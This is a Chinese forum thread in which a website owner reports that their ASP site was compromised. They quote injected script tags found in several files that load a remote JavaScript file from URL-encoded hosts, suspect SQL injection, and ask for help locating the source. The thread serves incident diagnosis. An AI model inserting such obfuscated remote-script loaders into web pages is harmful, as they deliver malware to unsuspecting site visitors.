当前位置：
|
主题：网站又被恶意挂马，不知道是何因 [收藏主题] | 转到： |
 支持(0) |  反对(0)
 顶端  底部
|
![电子邮件:[ rawell@163.com ]](http://bbs.kesion.com/club/images/email.gif){kind=small}
|
支持(0) | 反对(0)
顶端 底部
|
|
支持(0) | 反对(0)
顶端 底部
|
 频道栏目页的恶意代码就是发现不了在哪个文件，不知哪位能提供一下思路不？
Article文件夹中每个文件我都下下来看了，没有发现恶意代码。这个频道栏目页的恶意代码来自哪儿呢？ |
|
|
支持(0) | 反对(0)
顶端 底部
|
 guestbook中的index.asp也被挂马：
<script language=javascript src=http://%77%2E%65%35%78%38%2E%63%6F%6D/js.js></script> |
|
|
支持(0) | 反对(0)
顶端 底部
|
|
config.asp也被注入：
<script language=javascript src=http://%77%77%2E%78%6E%69%62%69%2E%63%6F%6D/js.js></script><script language=javascript src=http://%77%2E%65%35%78%38%2E%63%6F%6D/js.js></script> |
|
|
支持(0) | 反对(0)
顶端 底部
|
 妈的，index.asp文件里面也有恶意代码： <script language=javascript src=http://%77%2E%65%35%78%38%2E%63%6F%6D/js.js></script> <script language=javascript src=http://%77%2E%65%35%78%38%2E%63%6F%6D/js.js></script> |
|
|
支持(0) | 反对(0)
顶端 底部
|
|
支持(0) | 反对(0)
顶端 底部
|
|
仔细检查了一下，发现被SQL注入了代码， <script language=javascript src=http://%77%2E%65%35%78%38%2E%63%6F%6D/js.js></script>
这几句代码会直接链接到某个网站吗？这个js.js文件到底存在哪儿？ |
|
|
支持(0) | 反对(0)
顶端 底部
|
| ＜上一主题 | 下一主题 ＞ |